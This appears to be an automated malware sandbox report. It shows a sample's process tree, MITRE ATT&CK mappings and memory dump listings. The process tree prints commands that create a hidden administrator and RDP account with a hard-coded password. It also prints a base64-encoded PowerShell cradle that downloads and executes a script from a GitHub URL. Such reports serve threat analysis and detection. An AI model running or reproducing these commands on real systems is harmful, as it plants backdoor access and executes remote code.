- Suspicious use of WriteProcessMemory
PID:3832
- C:\Windows\system32\net.exe
  net.exe user wgautilacc gwizJ61r /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2768
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc gwizJ61r /add
    3⤵
    PID:1276

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:3356
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3908
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:2296

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:1304
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:572
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
    3⤵
    PID:2760

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:3012
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:3532
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:1552

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc gwizJ61r
1⤵
PID:3700
- C:\Windows\system32\net.exe
  net.exe user wgautilacc gwizJ61r
  2⤵
  PID:3832
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc gwizJ61r
    3⤵
    PID:3976

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:2060
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  PID:4084

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:2760
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  PID:984

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:2664
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:2344
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:2252

C:\Windows\System32\cmd.exe
cmd.exe /C net user wgautilacc 1234
1⤵
PID:3292
- C:\Windows\system32\net.exe
  net user wgautilacc 1234
  2⤵
  PID:3808
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 1234
    3⤵
    PID:2760

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/184-215-0x0000014D454E0000-0x0000014D454E2000-memory.dmp

Filesize
8KB

Download
memory/184-216-0x0000014D454E3000-0x0000014D454E5000-memory.dmp

Filesize
8KB

Download
memory/184-217-0x0000014D454E6000-0x0000014D454E8000-memory.dmp

Filesize
8KB

Download
memory/1264-162-0x000001D276DD0000-0x000001D276DD1000-memory.dmp

Filesize
4KB

Download
memory/1264-222-0x000001D25C3D8000-0x000001D25C3D9000-memory.dmp

Filesize
4KB

Download
memory/1264-146-0x000001D276E40000-0x000001D276E41000-memory.dmp

Filesize
4KB

Download
memory/1264-141-0x000001D276B90000-0x000001D276B91000-memory.dmp

Filesize
4KB

Download
memory/1264-139-0x000001D25C3D3000-0x000001D25C3D5000-memory.dmp

Filesize
8KB

Download
memory/1264-157-0x000001D25C3D6000-0x000001D25C3D8000-memory.dmp

Filesize
8KB

Download
memory/1264-138-0x000001D25C3D0000-0x000001D25C3D2000-memory.dmp

Filesize
8KB

Download
memory/1264-168-0x000001D277400000-0x000001D277401000-memory.dmp

Filesize
4KB

Download
memory/1264-169-0x000001D277790000-0x000001D277791000-memory.dmp

Filesize
4KB

Download
memory/2016-114-0x00000000020B0000-0x0000000002141000-memory.dmp

Filesize
580KB

Download
memory/2016-115-0x0000000000400000-0x0000000000496000-memory.dmp

Filesize
600KB

Download
memory/2160-132-0x000001EAF8686000-0x000001EAF8687000-memory.dmp

Filesize
4KB

Download
memory/2160-127-0x000001EAF8AC0000-0x000001EAF8EE1000-memory.dmp

Filesize
4.1MB

Download
memory/2160-131-0x000001EAF8685000-0x000001EAF8686000-memory.dmp

Filesize
4KB

Download
memory/2160-129-0x000001EAF8680000-0x000001EAF8682000-memory.dmp

Filesize
8KB

Download
memory/2160-130-0x000001EAF8683000-0x000001EAF8685000-memory.dmp

Filesize
8KB

Download
memory/2212-211-0x000001CBB9526000-0x000001CBB9528000-memory.dmp

Filesize
8KB

Download
memory/2212-189-0x000001CBB9520000-0x000001CBB9522000-memory.dmp

Filesize
8KB

Download
memory/2212-212-0x000001CBB9528000-0x000001CBB952A000-memory.dmp

Filesize
8KB

Download
memory/2212-190-0x000001CBB9523000-0x000001CBB9525000-memory.dmp

Filesize
8KB

Download
memory/2252-257-0x00000189D8B58000-0x00000189D8B59000-memory.dmp

Filesize
4KB

Download
memory/2252-254-0x00000189D8B50000-0x00000189D8B52000-memory.dmp

Filesize
8KB

Download
memory/2252-255-0x00000189D8B53000-0x00000189D8B55000-memory.dmp

Filesize
8KB

Download
memory/2252-256-0x00000189D8B56000-0x00000189D8B58000-memory.dmp

Filesize
8KB

Download
memory/3832-219-0x000001A87F043000-0x000001A87F045000-memory.dmp

Filesize
8KB

Download
memory/3832-220-0x000001A87F046000-0x000001A87F048000-memory.dmp

Filesize
8KB

Download
memory/3832-218-0x000001A87F040000-0x000001A87F042000-memory.dmp

Filesize
8KB

Download
memory/3832-221-0x000001A87F048000-0x000001A87F04A000-memory.dmp

Filesize
8KB

Download